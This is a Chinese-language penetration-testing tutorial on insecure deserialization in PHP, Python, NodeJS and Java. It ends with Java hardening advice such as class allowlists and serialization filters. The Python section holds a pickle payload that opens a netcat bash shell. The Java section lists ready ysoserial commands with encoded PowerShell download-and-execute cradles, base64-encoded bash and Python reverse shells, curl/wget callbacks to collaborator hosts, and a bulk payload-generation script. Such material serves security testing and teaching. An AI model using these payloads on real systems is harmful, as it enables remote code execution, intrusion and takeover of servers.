Deserialization

支持 HackTricks

基本信息

序列化 被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后时间重新创建,保持其结构和状态。

反序列化 则是抵消序列化的过程。它涉及将以特定格式构造的数据重建为对象。

反序列化可能是危险的,因为它可能 允许攻击者操纵序列化数据以执行有害代码 或在对象重建过程中导致应用程序出现意外行为。

PHP

在 PHP 中,特定的魔术方法在序列化和反序列化过程中被使用:

  • __sleep:在对象被序列化时调用。此方法应返回一个数组,包含所有应被序列化的对象属性的名称。它通常用于提交待处理的数据或执行类似的清理任务。

  • __wakeup:在对象被反序列化时调用。它用于重新建立在序列化过程中可能丢失的任何数据库连接,并执行其他重新初始化任务。

  • __unserialize:在对象被反序列化时调用此方法,而不是 __wakeup(如果存在)。与 __wakeup 相比,它对反序列化过程提供了更多控制。

  • __destruct:在对象即将被销毁或脚本结束时调用此方法。它通常用于清理任务,如关闭文件句柄或数据库连接。

  • __toString:此方法允许将对象视为字符串。它可以用于读取文件或其他基于其中函数调用的任务,有效地提供对象的文本表示。

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

如果你查看结果,你会发现当对象被反序列化时,函数 __wakeup__destruct 被调用。请注意,在一些教程中,你会发现当尝试打印某个属性时,__toString 函数被调用,但显然这 不再发生

如果在类中实现了方法 __unserialize(array $data),则会 代替 __wakeup() 被调用。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

您可以在这里阅读一个解释过的 PHP 示例: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/,在这里 https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf 或在这里 https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP 反序列化 + 自动加载类

您可以滥用 PHP 自动加载功能来加载任意 php 文件等:

序列化引用值

如果出于某种原因您想将一个值序列化为 对另一个序列化值的引用,您可以:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC 可以帮助你生成有效载荷以滥用 PHP 反序列化。 请注意,在某些情况下,你 无法在应用程序的源代码中找到滥用反序列化的方法,但你可能能够 滥用外部 PHP 扩展的代码。 因此,如果可以,请检查服务器的 phpinfo()在互联网上搜索(甚至在 PHPGGCgadgets 中)一些你可以滥用的可能的 gadget。

phar:// metadata deserialization

如果你发现一个 LFI 只是读取文件而不执行其中的 PHP 代码,例如使用 file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**。你可以尝试滥用在使用 phar 协议时 读取 文件 时发生的 反序列化。 有关更多信息,请阅读以下帖子:

Python

Pickle

当对象被反序列化时,函数 __reduce__ 将被执行。 当被利用时,服务器可能会返回一个错误。

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

在检查绕过技术之前,如果您正在运行 python3,请尝试使用 print(base64.b64encode(pickle.dumps(P(),2))) 生成与 python2 兼容的对象。

有关逃离 pickle jails 的更多信息,请查看:

Yaml & jsonpickle

以下页面介绍了 滥用不安全的 yaml 反序列化 python 库的技术,并以一个可以用于生成 Pickle, PyYAML, jsonpickle 和 ruamel.yaml 的 RCE 反序列化有效负载的工具结束:

类污染 (Python 原型污染)

NodeJS

JS 魔法函数

JS 没有像 PHP 或 Python 那样的 "魔法" 函数,这些函数仅用于创建对象而被执行。但它有一些 函数,即使没有直接调用它们也 经常使用,例如 toStringvalueOftoJSON。 如果滥用反序列化,您可以 妥协这些函数以执行其他代码(可能滥用原型污染),当它们被调用时,您可以执行任意代码。

另一种 "魔法" 调用函数 的方式是通过 妥协一个由异步函数返回的对象(promise)。因为,如果您 返回对象 转换为另一个 promise,并具有一个名为 "then" 的函数类型属性,它将仅因为它是由另一个 promise 返回而被 执行有关更多信息,请 点击此链接

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__prototype 污染

如果你想了解这个技术 请查看以下教程

这个库允许序列化函数。示例:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

序列化对象 看起来像:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

您可以在示例中看到,当一个函数被序列化时,_$$ND_FUNC$$_ 标志被附加到序列化对象上。

在文件 node-serialize/lib/serialize.js 中,您可以找到相同的标志以及代码是如何使用它的。

正如您在最后一段代码中看到的,如果找到该标志,则使用 eval 来反序列化函数,因此基本上用户输入被用于 eval 函数内部

然而,仅仅序列化一个函数并不会执行它,因为在我们的示例中需要某部分代码调用 y.rce,这非常不可能。 无论如何,您可以修改序列化对象添加一些括号,以便在对象被反序列化时自动执行序列化的函数。 在下一段代码中注意最后的括号以及 unserialize 函数将如何自动执行代码:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

如前所述,该库将在_$$ND_FUNC$$_之后获取代码并将执行它,使用eval。因此,为了自动执行代码,您可以删除函数创建部分和最后一个括号,并仅执行一个 JS 单行代码,如下例所示:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

您可以在这里找到 更多信息,了解如何利用此漏洞。

funcster 的一个显著特点是 标准内置对象 的不可访问性;它们超出了可访问范围。此限制阻止了尝试在内置对象上调用方法的代码执行,当使用 console.log()require(something) 等命令时,会导致 "ReferenceError: console is not defined" 等异常。

尽管有此限制,但可以通过特定方法恢复对全局上下文的完全访问,包括所有标准内置对象。通过直接利用全局上下文,可以绕过此限制。例如,可以使用以下代码片段重新建立访问:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

有关 更多信息,请阅读此来源.

serialize-javascript 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需要自行实现反序列化的方法。官方示例建议直接使用 eval 来反序列化序列化的数据:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

如果这个函数用于反序列化对象,你可以轻松利用它

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

有关更多信息,请阅读此来源 更多信息阅读此来源.

Cryo库

在以下页面中,您可以找到有关如何滥用此库以执行任意命令的信息:

Java - HTTP

在Java中,反序列化回调在反序列化过程中执行。攻击者可以利用这一执行过程,通过构造恶意有效负载来触发这些回调,从而导致潜在的有害操作执行。

指纹

白盒

要识别代码库中潜在的序列化漏洞,请搜索:

  • 实现了Serializable接口的类。

  • 使用java.io.ObjectInputStreamreadObjectreadUnshare函数。

特别注意:

  • 使用外部用户定义的参数的XMLDecoder

  • XStreamfromXML方法,特别是当XStream版本小于或等于1.46时,因为它容易受到序列化问题的影响。

  • readObject方法结合使用的ObjectInputStream

  • 实现readObjectreadObjectNodDatareadResolvereadExternal等方法。

  • ObjectInputStream.readUnshared

  • 一般使用Serializable

黑盒

对于黑盒测试,寻找特定的签名或“魔法字节”,以表示来自ObjectInputStream的Java序列化对象:

  • 十六进制模式:AC ED 00 05

  • Base64模式:rO0

  • HTTP响应头中Content-type设置为application/x-java-serialized-object

  • 表示先前压缩的十六进制模式:1F 8B 08 00

  • 表示先前压缩的Base64模式:H4sIA

  • 扩展名为.faces的Web文件和faces.ViewState参数。在Web应用程序中发现这些模式应提示进行详细检查,如关于Java JSF ViewState反序列化的帖子所述。

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

检查是否存在漏洞

如果你想要了解Java反序列化漏洞是如何工作的,你应该查看基本Java反序列化Java DNS反序列化CommonsCollection1有效载荷

白盒测试

你可以检查是否安装了任何具有已知漏洞的应用程序。

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

你可以尝试检查所有已知的易受攻击的库,并且Ysoserial可以提供一个利用。或者你可以检查Java-Deserialization-Cheat-Sheet上指示的库。 你还可以使用gadgetinspector来搜索可能被利用的gadget链。 运行gadgetinspector(在构建后)时,不用在意它所经历的大量警告/错误,让它完成。它会将所有发现写入_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_。请注意,gadgetinspector不会创建一个利用,并且可能会指示误报

黑盒测试

使用Burp扩展gadgetprobe,你可以识别可用的库(甚至是版本)。有了这些信息,选择一个有效载荷来利用漏洞可能会更容易阅读此文以了解更多关于GadgetProbe的信息 GadgetProbe专注于**ObjectInputStream反序列化**。

使用Burp扩展Java Deserialization Scanner,你可以识别可被ysoserial利用的易受攻击库利用它们。 阅读此文以了解更多关于Java Deserialization Scanner的信息。 Java Deserialization Scanner专注于**ObjectInputStream**反序列化。

你还可以使用Freddy检测Burp中的反序列化漏洞。这个插件将检测不仅是ObjectInputStream相关的漏洞,还包括来自JsonYml反序列化库的漏洞。在主动模式下,它将尝试使用sleep或DNS有效载荷来确认它们。 你可以在这里找到更多关于Freddy的信息。

序列化测试

并不是所有的事情都与检查服务器是否使用了任何易受攻击的库有关。有时你可以更改序列化对象内部的数据并绕过一些检查(可能授予你在web应用程序中的管理员权限)。 如果你发现一个java序列化对象被发送到web应用程序,你可以使用SerializationDumper 以更人性化的格式打印发送的序列化对象。知道你发送了哪些数据将更容易修改它并绕过一些检查。

利用

ysoserial

利用Java反序列化的主要工具是ysoserial在这里下载)。你也可以考虑使用ysoseral-modified,这将允许你使用复杂的命令(例如带管道的命令)。 请注意,这个工具专注于利用**ObjectInputStream 我会先使用“URLDNS”有效载荷再使用RCE**有效载荷来测试注入是否可能。无论如何,请注意“URLDNS”有效载荷可能不起作用,但其他RCE有效载荷可能有效。

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

当为 java.lang.Runtime.exec() 创建有效负载时,您 不能使用特殊字符 如 ">" 或 "|" 来重定向执行的输出,不能使用 "$()" 来执行命令,甚至不能 通过空格分隔 来传递命令参数(您可以执行 echo -n "hello world" 但不能执行 python2 -c 'print "Hello world"')。为了正确编码有效负载,您可以 使用这个网页

请随意使用下一个脚本来创建 所有可能的代码执行 有效负载,适用于 Windows 和 Linux,然后在易受攻击的网页上进行测试:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

您可以使用 https://github.com/pwntester/SerialKillerBypassGadgetCollection 与 ysoserial 一起创建更多漏洞利用。有关此工具的更多信息,请参见演讲的幻灯片,该工具在其中介绍:https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec 可用于生成有效载荷,以利用 Java 中不同的JsonYml序列化库。 为了编译该项目,我需要添加这些依赖项pom.xml

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

安装 maven,并 编译 项目:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

阅读更多关于这个Java JSON库的信息: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Java在各种目的上使用了大量的序列化,例如:

  • HTTP请求: 序列化广泛用于参数、ViewState、cookies等的管理。

  • RMI (远程方法调用): Java RMI协议完全依赖于序列化,是Java应用程序远程通信的基石。

  • RMI over HTTP: 这种方法通常被基于Java的厚客户端web应用程序使用,利用序列化进行所有对象通信。

  • JMX (Java管理扩展): JMX利用序列化在网络上传输对象。

  • 自定义协议: 在Java中,标准做法涉及传输原始Java对象,这将在即将到来的利用示例中演示。

Prevention

Transient objects

一个实现了Serializable的类可以将类内任何不应该被序列化的对象实现为transient。例如:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

避免序列化需要实现 Serializable 的类

在某些对象必须实现 Serializable 接口的场景中,由于类层次结构,存在无意反序列化的风险。为防止这种情况,确保这些对象不可反序列化,通过定义一个始终抛出异常的 final readObject() 方法,如下所示:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

增强Java中的反序列化安全性

自定义 java.io.ObjectInputStream 是确保反序列化过程安全的实用方法。当满足以下条件时,此方法适用:

  • 反序列化代码在您的控制之下。

  • 预期反序列化的类是已知的。

重写 resolveClass() 方法以限制反序列化仅限于允许的类。这可以防止反序列化任何类,除了那些明确允许的类,例如以下示例仅限制反序列化为 Bicycle 类:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

使用 Java Agent 进行安全增强 提供了一种在无法修改代码时的后备解决方案。此方法主要用于 黑名单有害类,使用 JVM 参数:

-javaagent:name-of-agent.jar

它提供了一种动态保护反序列化的方法,理想用于立即代码更改不切实际的环境。

查看 rO0 by Contrast Security 中的示例

实现序列化过滤器:Java 9 通过 ObjectInputFilter 接口引入了序列化过滤器,提供了一种强大的机制,用于指定反序列化之前序列化对象必须满足的标准。这些过滤器可以全局应用或按流应用,提供对反序列化过程的细粒度控制。

要使用序列化过滤器,您可以设置一个适用于所有反序列化操作的全局过滤器,或为特定流动态配置它。例如:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

利用外部库增强安全性:像NotSoSerialjdeserializeKryo这样的库提供了控制和监控Java反序列化的高级功能。这些库可以提供额外的安全层,例如白名单或黑名单类、在反序列化之前分析序列化对象,以及实现自定义序列化策略。

  • NotSoSerial拦截反序列化过程,以防止执行不受信任的代码。

  • jdeserialize允许在不反序列化的情况下分析序列化的Java对象,帮助识别潜在的恶意内容。

  • Kryo是一个替代的序列化框架,强调速度和效率,提供可配置的序列化策略,可以增强安全性。

参考文献

JNDI注入与log4Shell

在以下页面中查找JNDI注入、如何通过RMI、CORBA和LDAP滥用它以及如何利用log4shell(以及此漏洞的示例):

JMS - Java消息服务

Java消息服务JMS)API是一个Java面向消息的中间件API,用于在两个或多个客户端之间发送消息。它是处理生产者-消费者问题的实现。JMS是Java平台企业版(Java EE)的一部分,由Sun Microsystems开发的规范定义,但此后由Java社区过程指导。它是一种消息标准,允许基于Java EE的应用程序组件创建、发送、接收和读取消息。它允许分布式应用程序的不同组件之间的通信是松耦合、可靠和异步的。(来自维基百科)。

产品

有几个产品使用此中间件发送消息:

利用

因此,基本上有一堆服务以危险的方式使用JMS。因此,如果您有足够的权限向这些服务发送消息(通常您需要有效的凭据),您将能够发送恶意对象序列化,这些对象将被消费者/订阅者反序列化。 这意味着在此利用中,所有将使用该消息的客户端将被感染

您应该记住,即使服务存在漏洞(因为它不安全地反序列化用户输入),您仍然需要找到有效的gadget来利用该漏洞。

工具JMET被创建用于连接和攻击这些服务,发送多个使用已知gadget序列化的恶意对象。这些利用将在服务仍然存在漏洞且所使用的gadget在易受攻击的应用程序中时有效。